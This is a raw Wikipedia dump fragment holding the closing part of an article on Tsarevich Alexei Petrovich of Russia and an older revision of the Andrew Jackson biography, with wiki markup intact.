Still, Peter did not despair. On the [[August 26]], 1716 he wrote to Alexei from abroad, urging him, if he desired to remain [[tsarevich]], to join him and the army without delay. Rather than face this ordeal, Alexei fled to [[Vienna]] and placed himself under the protection of his brother-in-law, the emperor [[Charles VI, Holy Roman Emperor|Charles VI]], who sent him for safety first to the [[Tirol]]ean fortress of Ahrenberg, and finally to the castle of [[San Elmo]] at [[Naples]]. He was accompanied throughout his journey by his mistress, the [[Finland|Finnish]] girl Afrosina. That the emperor sincerely sympathized with Alexei, and suspected Peter of harbouring murderous designs against his son, is plain from his confidential letter to [[George I of the United Kingdom]], whom he consulted on this delicate affair. Peter felt insulted. The flight of the tsarevich to a foreign potentate was a reproach and a scandal. He had to be recovered and brought back to Russia at all costs. This difficult task was accomplished by Count [[Peter Tolstoi]], the most subtle and unscrupulous of Peter's servants.

==The return==

Alexei would only consent to return on his father solemnly swearing, that if he came back he should not be punished in the least, but cherished as a son and allowed to live quietly on his estates and marry Afrosina.  On [[31 January]] [[1718]] the tsarevich reached Moscow. Peter had already determined to institute a most searching [[inquisition]] in order to get at the bottom of the mystery of the flight. On [[18 February]] a &quot;confession&quot; was extorted from Alexei which implicated most of his friends, and he then publicly renounced the succession to the throne in favour of the baby grand-duke Peter Petrovich. A horrible reign of terror ensued, in the course of which the ex-tsaritsa Eudoxia was dragged from her monastery and publicly tried for alleged [[adultery]], while all who had in any way befriended Alexei were [[Impalement|impale]]d, broken on the wheel and otherwise lingeringly done to death. All this was done to terrorize the reactionaries and isolate the tsarevich. 
[[Image:gay_alexis.jpg|thumb|right|350px|''Peter I interrogates Tsarevich Alexei Petrovich at Peterhof'', history painting by Nikolai Ge, 1871, State Tret'yakov Gallery, Moscow]]
In April 1718 fresh confessions were extorted from Alexei. Even now there were no actual facts to go upon. The worst that could be brought against him was that he had wished his father's death. In the eyes of Peter, his son was now a self-convicted and most dangerous traitor, whose life was forfeit. But there was no getting over the fact that his father had sworn to pardon him and let him live in peace if he returned to Russia. The whole matter was solemnly submitted to a grand council of [[prelate]]s, [[senator]]s, [[Political minister|minister]]s and other [[dignitary|dignitaries]] on [[13 June]] [[1718]]. The [[clergy]] left the matter to the tsar's own decision. The temporal dignitaries declared the evidence to be insufficient and suggested that Alexei should be examined by torture. 

Accordingly, on [[19 June]], the weak and ailing tsarevich received twenty-five strokes with the [[knout]], and on the 24th - fifteen more. It was hardly possible that he could survive such treatment. On [[26 June]], Alexei died in the [[Petropavlovskaya fortress]] in [[Saint Petersburg]], two days after the senate had condemned him to death for conspiring rebellion against his father, and for hoping for the cooperation of the common people and the armed intervention of his brother-in-law, the emperor. Some historians believe that Alexei actually died of [[strangulation]] by one of Peter's servants.

==Further Reading==

*Matthew S. Anderson, ''Peter the Great'' (London: Thames and Hudson, 1978).
*Robert Nisbet Bain, ''The First Romanovs 1613 – 1725'' (London, 1905; reprint, New York, 1967).
*Robert K. Massie, ''Peter the Great, His Life and World'' (New York: Ballantine, 1981).
*B.H. Sumner, ''Peter the Great and the Emergence of Russia'' (London: English UP, 1968).
*Fredrick Charles Weber, ''The Present State of Russia'' vol 1, (1723; reprint, London: Frank Cass and Co, 1968).
*---,''The Present State of Russia'' vol 2, (1723; reprint, London: Frank Cass and Co, 1968).

==References==
*{{1911}}

[[Category:1690 births|Alexei Petrovich of Russia]]
[[Category:1718 deaths|Alexei Petrovich of Russia]]
[[Category:Muscovites|Alexei Petrovich of Russia]]
[[Category:Romanov|Alexei Petrovich of Russia]]
[[Category:Heirs apparent who never acceded|Alexei Petrovich of Russia]]

[[de:Alexei von Russland]]
[[ru:Алексей Петрович]]</text>
    </revision>
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    <id>1622</id>
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  <page>
    <title>Andrew Jackson</title>
    <id>1623</id>
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{{Infobox_President | name=Andrew Jackson
| nationality=american
| image=Andrew Jackson.jpeg|200px|
| order=7th President
| term_start=[[March 4]], [[1829]]
| term_end=[[March 3]], [[1837]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;
| predecessor= [[John Quincy Adams]]
| successor= [[Martin Van Buren]]
| birth_date= [[March 15]], [[1767]]
| birth_place= [[Waxhaw, North Carolina|Waxhaws area]] of [[South Carolina]]

| death_date= [[June 8]], [[1845]]
| death_place= [[The Hermitage]], [[Nashville]], [[Tennessee]]
| spouse= Widowed. [[Rachel Donelson Robards Jackson]] (niece [[Emily Donelson Jackson]] and daughter-in-law [[Sarah Yorke Jackson]] were [[First Lady of the United States|first ladies]])
| party= [[Democratic Party (United States)|Democratic]]
| vicepresident= [[John C. Calhoun]] (1829-1832) [[Martin Van Buren]] (1833-1837)
}}
'''Andrew Jackson''' ([[March 15]], [[1767]] &amp;ndash; [[June 8]], [[1845]]), was the seventh [[President of the United States]] (1829-1837), hero of the [[Battle of New Orleans]] (1815), a founder of the [[Democratic Party (United States)|Democratic Party]], and the [[eponym]] of the era of [[Jacksonian democracy]].  He was a polarizing figure who helped shape the [[Second Party System]] of [[Politics of the United States|American politics]] in the 1820s and 1830s.

Nicknamed &quot;Old Hickory,&quot; Jackson was the first President primarily associated with the American [[frontier]] (although born in South Carolina, he spent most of his life in Tennessee).  .

==Early life and military career==
Jackson was born in a backwoods settlement to [[Scots-Irish Americans|Scots-Irish]] immigrants in the [[Waxhaw, North Carolina|Waxhaw area]] in the [[Carolinas]], on [[March 15]], [[1767]]. He was the youngest son in his family. Both [[North Carolina]] and [[South Carolina]] have claimed him as a &quot;native son.&quot; Jackson himself always stated that he was born in South Carolina. He received a sporadic education. At age thirteen, he joined the [[Continental Army]] as a courier. He was captured and imprisoned by the [[Kingdom of Great Britain|British]] during the [[American Revolutionary War]]. Jackson was the last U.S. President to have been a veteran of the American Revolution, and the only President to have been a [[prisoner of war]]. The war took the lives of Jackson's entire immediate family.

[[Image:Andrew Jackson brave boy 1780.jpg|thumb|250px|Jackson refusing to clean a British officer's boots (1876 [[lithography]])]]
During the Revolution, after the surrender to the British at Charleston, Jackson and his brother Robert were taken as prisoners, and nearly starved to death.  When Jackson refused to clean the boots of a British officer, the irate redcoat slashed at Jackson, giving him scars on his left hand and head, as well as an intense hatred for the British. Both of them contracted small pox while imprisoned, and Robert died days after their release. In addition, two of Jackson's brothers and his mother--his entire remaining family--died from war-time hardships that Jackson also blamed upon the British.  This [[anglophobia]] would help to inspire a distrust and dislike of Eastern &quot;aristocrats&quot;, whom Jackson felt were too inclined to favor and emulate their former colonial &quot;masters&quot;. Jackson admired [[Napoleon I of France|Napoleon Bonaparte]], for his willingness to contest British military supremacy.

Jackson came to [[Tennessee]] by 1787, having barely read law, but finding that enough to become a young lawyer on the frontier. Since he was not from a distinguished family, he had to make his career by his own merits; and soon he began to prosper in the rough-and-tumble world of frontier law.  Most of the actions grew out of disputed land-claims, or from assaults and battery.  His courtroom demeanor was of his time.  In 1795, he fought a duel with an opposing counsel over a courtroom argument. He was elected as Tennessee's first [[U.S. House of Representatives|Congressman]], upon its statehood in the late 1790s, and quickly became a [[United States Senate|U.S. Senator]] in 1797, but quit within a year. In 1798, he was appointed Judge on the [[Tennessee Supreme Court]].
[http://www.virtualology.com/virtualwarmuseum.com/hallofamericanwarsandconflicts/andrewjackson.net/]  

===Creek War and War of 1812===
{{main articles|[[Creek War]] and [[Battle of New Orleans]]}}
Jackson became a colonel in the Tennessee militia, which he had led since 1801, the beginning of his military career. In 1813, after a massacre of 400 men, women and children at [[Fort Mims Massacre|Fort Mims]] (in what is now Alabama) by Northern [[Creek people|Creek]] Band chieftain [[Peter McQueen]], Jackson commanded in the campaign against the Northern Creek Indians of Alabama and Georgia, also known as the &quot;[[Red Sticks]]&quot;. Creek leaders such as [[William Weatherford]] (Red Eagle), Peter McQueen, and [[Menawa]], who had been allies of the British during the War of 1812, violently clashed with other chiefs of the Creek Nation over white encroachment on Creek lands, and the &quot;civilizing&quot; programs administered by U.S. Indian Agent [[Benjamin Hawkins]]. In the [[Creek War]], a theatre of the [[War of 1812]], Jackson defeated the Red Stick Creeks at the [[Battle of Horseshoe Bend]], aided by allies from the Southern Creek Indian Band, who had requested Jackson's aid in putting down what they considered to be the &quot;rebellious&quot; Red Sticks, and some [[Cherokee]] Indians, who also sided with the Americans. Although 800 Northern Creek Band &quot;Red Sticks&quot; Indians were killed in the battle, Jackson spared Weatherford's life from any acts of vengeance. [[Sam Houston]] and [[David Crockett]], later to become famous themselves in Texas, served under Jackson at this time.  Following the victory, Jackson imposed the [[Treaty of Fort Jackson]] upon both his Northern Creek enemy and Southern Creek allies, wresting 20 million acres (81,000 km&amp;sup2;) from all Creeks, for white settlement.

Jackson's service in the [[War of 1812]] was conspicuous for its bravery and success. He was a strict officer, but was popular with his troops, and was said to have been &quot;tough as old hickory&quot; wood on the battlefield, which gave him his nickname. The war, and particularly his command at the [[Battle of New Orleans]] on [[January 8]], [[1815]], made his national reputation; and he advanced in rank to Major General. In the battle, Jackson's 6,000 militiamen behind barricades of cotton bales opposed 12,000 British regulars marching across an open field, led by General [[Edward Pakenham]]. The battle was a total American victory. The British had over 2,000 casualties to Jackson's 13 killed and 58 wounded or missing.
[http://odur.let.rug.nl/~usa/P/aj7/about/bio/jack07.htm] 

[[Image:Bustofandrewjackson.jpg|right|thumb|200px|A bust of Andrew Jackson at the Plaza Ferdinand VII in [[Pensacola, Florida]], where Jackson was sworn in as territorial governor.]]

===First Seminole War===
{{main|Seminole Wars}}
Jackson saw military service again in the [[Seminole Wars|First Seminole War]], when he was ordered by President [[James Monroe]] in December 1817 [http://www.gilderlehrman.org/collection/document.php?id=391] to lead a campaign in [[Georgia (U.S. state)|Georgia]] against the [[Seminole (tribe)|Seminole]] and [[Creek people|Creek]] Indians, and to prevent [[Spanish Florida]] from becoming a &quot;refuge for runaway slaves&quot;.  It was later said that Jackson exceeded his orders in Florida actions, but Monroe and the public wanted Florida.  Before going, Jackson wrote to Monroe, &quot;Let it be signified to me through any channel (say Mr. John Rhea [a mutual confidant]) that the possession of the Floridas would be desirable to the United States, and in sixty days it will be accomplished.&quot; Monroe gave Jackson orders that were purposely ambiguous, sufficient for international denials.

Jackson's Tennessee volunteers were attacked by Seminoles, but this left their villages vulnerable, and Jackson burned them and their crops.  In his investigation, he found letters that indicated that the Spanish and British were &quot;secretly&quot; assisting the Indians.  Jackson believed that the United States would not be &quot;secure&quot; as long as Spain and Great Britain encouraged American Indians to fight, and argued that his actions were undertaken in &quot;self-defense&quot;. Jackson captured Pensacola with little more than some warning shots, and deposed the Spanish governor. He captured, tried, and executed two British subjects who had been supplying and advising the Indians. Jackson's action also struck fear into the Seminole tribes, as word of his ruthlessness in battle spread.

This also created an international incident, and many in the [[James Monroe|Monroe]] administration called for Jackson to be censured. However, Jackson's actions were defended by his [[United States Secretary of State|Secretary of State]], [[John Quincy Adams]]. When the Spanish minister demanded a &quot;suitable punishment&quot; for Jackson, Adams wrote back &quot;Spain must immediately [decide] either to place a force in Florida adequate at once to the protection of her territory, ... or cede to the United States a province, of which she retains nothing but the nominal possession, but which is, in fact, ... a post of annoyance to them.&quot; Adams used Jackson's conquest, and Spain's own &quot;weaknesses&quot;, to convince the Spanish (in the [[Adams-Onís Treaty]]) to cede Florida to the United States.  Jackson was subsequently appointed territorial governor there.

==Election of 1824==
{{main|U.S. presidential election, 1824}}
During his first run for the Presidency in [[U.S._presidential_election,_1824|1824]], Jackson received a [[plurality]] of both the popular and [[electoral]] votes. Since no candidate received a majority, the election was thrown into the [[United States House of Representatives|House of Representatives]], which chose John Quincy Adams instead.  Jackson denounced it as a &quot;[[corrupt bargain]]&quot; because [[Henry Clay]] threw his votes to Adams, who then made Clay Secretary of State.  Jackson later called for abolishing the [[U.S. Electoral College|Electoral College]]. Jackson's defeat burnished his political credentials, however; since many voters believed the &quot;man of the people&quot; had been robbed by the &quot;corrupt aristocrats of the East&quot;. 

Jackson had enemies.  [[Albert Gallatin]], who for a while in 1824 was a vice presidential candidate, saw Jackson as &quot;an honest man and the idol of the worshippers of military glory, but from incapacity, military habits, and habitual disregard of laws and constitutional. provisions, altogether unfit for the office.&quot; [Adams 599] 

Thomas Jefferson in retirement said of Jackson in 1824:
&lt;blockquote&gt;
&quot;I feel much alarmed at the prospect of seeing General Jackson President. He is one of the most unfit men I know of for such a place. He has had very little respect for laws or constitutions, and is, in fact, an able military chief. His passions are terrible. When I was President of the Senate he was a Senator; and he could never speak on account of the rashness of his feelings. I have seen him attempt it repeatedly, and as often choke with rage. His passions are no doubt cooler now; he has been much tried since I knew him, but he is a dangerous man.&quot; {{ref|Jefferson}}
&lt;/blockquote&gt;

==Election of 1828==
{{main|United States presidential election, 1828}}

==Presidency 1829-1837==
===Spoils system===
Jackson is accused of introducing the &quot;[[spoils system]]&quot;, or &quot;patronage&quot;, to American politics.  The term &quot;spoils system&quot; was attributed to Senator [[William L. Marcy]] of New York, who was quoted as saying, &quot;To the victor belong the spoils.&quot; Upon Jackson's election as President, a sizable number of federal officers found that they had suddenly been replaced by supporters and friends of Jackson.  Jackson saw this system as promoting the growth of democracy, rewarding people who were involved in his party and thus encouraging others to get involved.

===Opposition to the National Bank===
{{main|Second Bank of the United States}}
[[image:AJ~bank.JPG|thumb|400px|Democratic cartoon shows Jackson fighting the monster Bank]]
As president, Jackson worked to take away the federal charter of the [[Second Bank of the United States]] (it would continue to exist as a state bank). The original [[First Bank of the United States|Bank of the United States]] had been introduced in 1791 by [[Alexander Hamilton]], as a way of organizing the federal government's finances. This first Bank's charter lapsed in 1811. It was followed by the second Bank, authorized during [[James Madison]]'s tenure in offce in 1816 for a 20 year period, to &quot;alleviate the economic problems caused by the War of 1812&quot;. Both Banks were instrumental in the growth of the U.S. economy; but Jackson opposed the concept on ideological grounds. In Jackson's opinion, the Bank needed to be abolished because:
* it was unconstitutional
* it concentrated an excessive amount of the nation's financial strength into one single institution
* it exposed the government to control by &quot;foreign interests&quot;
* it exercised too much control over members of the Congress
* it favored Northeastern states over Southern and Western (now Mid-western) states
* Jackson had a strong personal and political dislike for the Bank's president, [[Nicholas Biddle (banker)|Nicholas Biddle]]

Jackson followed Jefferson as a supporter of the ideal of an &quot;agricultural republic&quot;, and felt the Bank improved the fortunes of an &quot;elite circle&quot; of commercial and industrial entrepreneurs, at the expense of farmers and laborers. After a titanic struggle, Jackson succeeded in destroying the Bank, by vetoing its 1832 re-charter by Congress, and by withdrawing U.S. funds in 1833. The Bank's money-lending functions were taken over by the legions of local and state banks that sprang up feeding an expansion of credit and speculation; the commercial progress of the nation's economy was noticeably dented.

The [[United States Senate|U.S. Senate]] censured Jackson on March 27, 1834 for his actions in defunding the Bank of the United States; the censure was later expunged when the Jacksonians had a majority in the Senate.

===Nullification crisis===
{{main|Nullification crisis}}
[[Image:andrew_jackson_20bill.jpg|thumb|left|Andrew Jackson is depicted on the U.S. $20 bill.]]

Another notable crisis during Jackson's period of office was the &quot;[[nullification crisis]]&quot;, or &quot;secession crisis&quot;, of 1828&amp;ndash;1832, which merged issues of sectional strife with disagreements over trade [[tariff]]s. Critics alleged that high tariffs (the &quot;[[Tariff of Abominations]]&quot;) on imports of common manufactured goods made European goods more expensive than ones from the northern US, and raised the prices paid by planters in the southern US.  Southern politicians thus had an argument, to the effect that tariffs benefitted northern industrialists at the expense of southern farmers.

The issue came to a head when Vice President [[John C. Calhoun]], in the [[South Carolina Exposition and Protest]] of 1828, supported the claim of his home state, [[South Carolina]], that it had the right to &quot;nullify&quot;&amp;mdash;declare illegal&amp;mdash;the tariff legislation of 1828, and more generally the right of a state to nullify laws which went against its interests. Although Jackson sympathized with the South in the tariff debate, he was also a strong supporter of a strong union, with considerable powers for the central government. Jackson attempted to face Calhoun down over the issue, which developed into a bitter rivalry between the two men. Particularly famous was an incident at the April 13, 1829 Jefferson Day dinner, involving after-dinner toasts. Jackson rose first and voice booming, and glaring at Calhoun, yelled out &quot;Our federal Union: IT MUST BE PRESERVED!&quot;, a clear challenge to Calhoun. Calhoun glared at Jackson and yelled out, his voice trembling, but booming as well, &quot;The Union: NEXT TO OUR LIBERTY, MOST DEAR!&quot;, an astonishingly quick-witted riposte.

In response to South Carolina's threat, Congress passed a &quot;[[Force Bill]]&quot; in 1833, and Jackson vowed to send troops to South Carolina in order to enforce the laws.  In December 1832, he issued a resounding proclamation against the &quot;nullifiers&quot;, stating: &quot;I consider...the power to annul a law of the United States, assumed by one State, incompatible with the existence of the Union, contradicted expressly by the letter of the [[Constitution of the United States|Constitution]], unauthorized by its spirit, inconsistent with every principle on which it was founded, and destructive of the great object for which it was formed.&quot;  South Carolina, the president declared, stood on &quot;the brink of insurrection and treason,&quot; and he appealed to the people of the state to reassert their allegiance to that Union for which their ancestors had fought.  Jackson also denied the right of secession: &quot;The Constitution...forms a ''government'' not a league...To say that any State may at pleasure secede from the Union is to say that the United States is not a nation.&quot;

The crisis was resolved in 1833 with a compromise settlement orchestrated by [[Whig Party (United States)|Whig]] politician [[Henry Clay]] and adopted by a South Carolina convention. The settlement substantially lowered the tariffs and hinted that the central government considered itself &quot;weak&quot; in dealing with determined opposition by an individual state. To enforce this view, the convention proudly but pointlessly declared the federal Force Bill nullified, even though the bill was only meaningful with respect to the tariff nullification. Thus, the South Carolina legislature both averted major conflict with the federal government, and reaffirmed Calhoun's beloved doctrine of nullification.

===Indian Removal===
[[Image:Andrew_Jackson_Statue_Nashville.jpg|thumb|right|200px|Statue of Andrew Jackson in [[Nashville, Tennessee]].]]

Today, perhaps the most controversial aspect of Andrew Jackson's presidency was his policy regarding [[American Indians in the United States|American Indians]]. Jackson was a leading advocate of a policy known as &quot;[[Indian Removal]]&quot;, signing the [[Indian Removal Act]] into law in 1830. Contrary to popular misconception, the Removal Act did not order the removal of any American Indians; what it did was authorize the President to negotiate treaties to purchase tribal lands in the east in exchange for lands further west, outside of existing U.S. state borders. According to biographer [[Robert V. Remini]], Jackson promoted this policy primarily for reasons of national security, seeing that Great Britain and Spain had recruited Native Americans within U.S. borders in previous wars with the United States.&lt;!--Remini (2001), p.113--&gt; According to historian Anthony Wallace, Jackson never publically advocated removing American Indians by force. Instead, Jackson made the negotiation of treaties a priority: nearly seventy Indian treaties&amp;mdash;many of them land sales&amp;mdash;were ratified during his presidency, more than in any other administration. 

The Removal Act was especially popular in the [[American South|South]], where population growth and the discovery of gold on [[Cherokee]] land had increased pressure on tribal lands. The state of [[Georgia (U.S. state)|Georgia]] became involved in a contentious jurisdictional dispute with the Cherokees, culminating in the 1832 Supreme Court decision (''[[Worcester v. Georgia]]'') that ruled that Georgia could not impose its laws upon Cherokee tribal lands. About this case, Jackson is often quoted as having said, &quot;[[John Marshall]] has made his decision, now let him enforce it!&quot; Jackson probably never said this; the popular story that Jackson defied the Supreme Court in carrying out Indian Removal is untrue. In fact, Jackson had no clear legal right to intervene on behalf of the Cherokees in Georgia.

Instead, Jackson used the Georgia crisis to pressure Cherokee leaders to sign a removal treaty. A faction of Cherokees led by Jackson's old ally [[Major Ridge]] negotiated the [[Treaty of New Echota]] with Jackson's administration, a document of dubious legality which was rejected by most Cherokees. However, the terms of the treaty were strictly enforced by Jackson's successor, [[Martin Van Buren]], which resulted in the deaths of thousands of Cherokees along the &quot;[[Trail of Tears]]&quot;.

In all, more than 45,000 American Indians were relocated to the West during Jackson's administration. During this time, the administration purchased about 100 million acres of Indian land for about $68 million and 32 million acres of western land. Though the relocation process was generally popular with the American people at the time, it resulted in much suffering and death among American Indians. Jackson was criticized at the time for his role in these events, and the criticism has grown over the years. Robert Remini characterizes the Indian Removal era as &quot;one of the unhappiest chapters in American history&quot;. {{ref|remini}}

===Assassination attempt===
[[Image:JacksonAssassinationAttempt.jpg|thumb|right|200px||The etching of the assassination attempt.]]
On January 30, 1835 an unsuccessful [[assassination]] attempt against Jackson occurred in the [[United States Capital]]. This was the first assassination attempt made against an American President. As Jackson left a funeral, a man named [[Richard Lawrence]] approached Jackson and fired a pistol at point-blank range. The would-be assasin was thwarted as his pistol misfired. He immediately drew another pistol, which also misfired, at which point Jackson attacked him with his cane, subduing him.  Lawrence was later found to be mentally ill and commited to an insane asylum.

===Major presidential acts===
*[[Maysville Road Veto]]
*Signed [[Indian Removal Act of 1830]]
*Vetoed renewal of [[Second Bank of the United States]] (1832)
*Signed [[Force Bill]] of 1833
*Executive Order: [[Specie Circular]] (1836)

===Administration and Cabinet===
[[Image:Andrew jackson head.gif|thumbnail|right]]
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''[[Andrew Jackson]]'''||align=&quot;left&quot;|1829&amp;ndash;1837
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[John C. Calhoun]]'''||align=&quot;left&quot;|1829&amp;ndash;1832
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Martin Van Buren]]'''||align=&quot;left&quot;|1833&amp;ndash;1837
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[Martin Van Buren]]'''||align=&quot;left&quot;|1829&amp;ndash;1831
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Edward Livingston]]'''||align=&quot;left&quot;|1831&amp;ndash;1833
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Louis McLane]]'''||align=&quot;left&quot;|1833&amp;ndash;1834
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John Forsyth]]'''||align=&quot;left&quot;|1834&amp;ndash;1837
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Samuel Ingham]]'''||align=&quot;left&quot;|1829&amp;ndash;1831
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Louis McLane]]'''||align=&quot;left&quot;|1831&amp;ndash;1833
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William Duane]]'''||align=&quot;left&quot;|1833
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Roger B. Taney]]'''||align=&quot;left&quot;|1833&amp;ndash;1834
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Levi Woodbury]]'''||align=&quot;left&quot;|1834&amp;ndash;1837
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[John H. Eaton]]'''||align=&quot;left&quot;|1829&amp;ndash;1831
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Lewis Cass]]'''||align=&quot;left&quot;|1831&amp;ndash;1836
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[John M. Berrien]]'''||align=&quot;left&quot;|1829&amp;ndash;1831
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Roger B. Taney]]'''||align=&quot;left&quot;|1831&amp;ndash;1833
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Benjamin_Franklin_Butler_(lawyer)|Benjamin F. Butler]]'''||align=&quot;left&quot;|1833&amp;ndash;1837
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[William T. Barry]]'''||align=&quot;left&quot;|1829&amp;ndash;1835
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Amos Kendall]]'''||align=&quot;left&quot;|1835&amp;ndash;1837
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[John Branch]]'''||align=&quot;left&quot;|1829&amp;ndash;1831
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Levi Woodbury]]'''||align=&quot;left&quot;|1831&amp;ndash;1834
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Mahlon Dickerson]]'''||align=&quot;left&quot;|1834&amp;ndash;1837
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court appointments===
*[[John McLean]] - 1830
*[[Henry Baldwin (judge)]] - 1830
*[[James Moore Wayne]] - 1835
*[[Roger Brooke Taney]] - Chief Justice - 1836
*[[Philip Pendleton Barbour]] - 1836

===Supreme Court cases during his presidency===
*''[[Cherokee Nation vs. Georgia]]'', 1831
*''[[Worcester v. Georgia]]'', 1832
*''[[Charles River Bridge v. Warren Bridge]]'', 1837


===States admitted to the Union===
* [[Arkansas]] - 1836
* [[Michigan]] - 1837

==Family and personal life==
[[Image:Andrew Jackson Portrait.jpg|left|thumb|200px|Portrait of Andrew Jackson]]
Jackson's wife, [[Rachel Donelson Robards Jackson|Rachel]], died of a heart attack just 2 months prior to his taking office as President. She had supposedly divorced her first husband, Col. Lewis Robards; but there were &quot;questions&quot; about the legality of the divorce. Jackson deeply resented attacks on his wife's honor; he killed [[Charles Dickinson (historical figure)|Charles Dickinson]] in a duel over a horse-racing debt and an insult to his wife on [[May 30]], [[1806]]. Jackson was also injured during the duel, and the bullet was so close to his heart that it could never be safely removed. It caused him considerable pain for the rest of his life. Jackson blamed [[John Quincy Adams]] for Rachel's death, because of the marital scandal being brought up in the election of 1828. He felt that this had hastened her death, and never forgave Adams.  

Jackson had two adopted sons, [[Andrew Jackson Jr.]], the son of Rachel's brother Severn Donelson, and Lyncoya, a [[Creek people|Creek]] Indian orphan adopted by Jackson after the [[Creek War]]. Lyncoya died in 1828 at age 16, probably from [[pneumonia]] or [[tuberculosis]]. 

The Jacksons also acted as guardians for eight other children.  John Samuel Donelson, Daniel Donelson, and [[Andrew Jackson Donelson]] were the sons of Rachel's brother Samuel Donelson who died in 1804.  Andrew Jackson Hutchings was Rachel's orphaned grand nephew.  Caroline Butler, Eliza Butler, Edward Butler, and Anthony Butler were the orphaned children of Edward Butler, a family friend.  They came to live with Andrew and Rachel after the death of their father.

The widower Jackson invited Rachel's niece [[Emily Donelson]] to act as his White House hostess and unofficial [[FLOTUS|First Lady]].  Emily was married to [[Andrew Jackson Donelson]], who acted as Jackson's [[private secretary]].  The relationship between the President and Emily became strained during the [[Petticoat Affair]], and the two became estranged for over a year.  They eventually reconciled and she resumed her duties as White House hostess.  [[Sarah Yorke Jackson]], the wife of Andrew Jackson Jr., became co-hostess of the White House in 1834.  It was the only time in history when two women simultaneously acted as unofficial First Lady.  Sarah took over all hostess duties after Emily died in 1836.  

Jackson remained influential in both national and state politics after retiring to &quot;[[The Hermitage]]&quot;, his [[Nashville, Tennessee|Nashville]] home, in 1837. Though a slave-holder, Jackson was a firm advocate of the federal union of the states, and declined to give any support to talk of [[secession]].  

Jackson was a lean figure standing at 6 feet, 1 inch (1.85 m) tall, and weighing between 130 and 140 pounds (64 kg) on average. Jackson also had an unruly shock of red hair, which had completely grayed by the time he became president at age 61, in 1829.  He had a pair of penetrating deep blue eyes. Jackson was one of the more sickly presidents, suffering from chronic headaches, abdominal pains, and a hacking cough that often brought up blood and sometimes even made his whole body shake. After retiring to Nashville he enjoyed eight more years of retirement and died at the Hermitage on June 8, 1845 at the age of 78, of chronic tuberculosis, &quot;[[dropsy]]&quot; and heart failure. His last words were: &quot;Oh, do not cry. Be good children, and we shall all meet in Heaven.&quot;

In his will, Jackson left his entire estate to his adopted son, Andrew Jackson Jr., except for specifically enumerated items that were left to various other friends and family members.  Jackson left several [[slaves]] to his daughter-in-law, and grandchildren.  Jackson left a sword to his grandson, with the injunction, ''&quot;that he will always use it in defence of our glorious Union.&quot;''

==Memorials and movies==
[[Image:StLouisCathedralJacksonStatue.jpg|thumb|right|[[Jackson Square]] in [[New Orleans, Louisiana|New Orleans]].]]
* Memorials to Jackson include a set of three identical equestrian statues located in different parts of the country.  One is in [[Jackson Square]] in [[New Orleans, Louisiana]].  Another is in [[Nashville, Tennessee|Nashville]] on the grounds of the [[Tennessee State Capitol]].  The other is in [[Washington, D.C.]] near the [[White House]].
* Numerous counties and cities are named after him, including [[Jacksonville, Florida]], [[Jackson, Michigan]], [[Jackson, Mississippi]], [[Jackson County, Florida]], and [[Jackson County, Missouri]].
* [[United States dollar]] &amp;mdash; Jackson's portrait appears on the [[American twenty dollar bill|$20 bill]].  He has appeared on $5, $10, $50, and $10,000 bills in the past, as well as a Confederate $1,000.
* [[Black Jack (stamp)|Blackjack]] United States postage stamp 
* The story of Andrew and Rachel Jackson's life together was told in [[Irving Stone]]'s best-selling 1951 novel ''The President's Lady'', which was made into the 1953 film of the same title, starring [[Susan Hayward]], [[Charlton Heston]], [[John McIntire]], and [[Carl Betz]] and directed by [[Henry Levin]]. The relationship between the two was also the basis of a successful documentary by the [[Public Broadcasting Service]], called ''Rachel and Andrew Jackson: A Love Story.''

* Heston played Jackson in the 1958 version of ''[[The Buccaneer]]'', a film about the role of pirate [[Jean Lafitte]] in the [[Battle of New Orleans]].  [[Hugh Sothern]] played Jackson in the original 1938 version of the film.

==Trivia==
* During Jackson's Administration, the U.S Government was, for the first and ([[as of 2006]]) only time, debt free. 
* During the 1828 election, his opponents referred to him as a &quot;Jackass&quot;.  Jackson liked the name and used the Jackass as a symbol for a while, but it died out. [http://www.c-span.org/questions/week174.htm]

==See also==
* [[U.S. presidential election, 1824]]
* [[U.S. presidential election, 1828]]
* [[U.S. presidential election, 1832]]
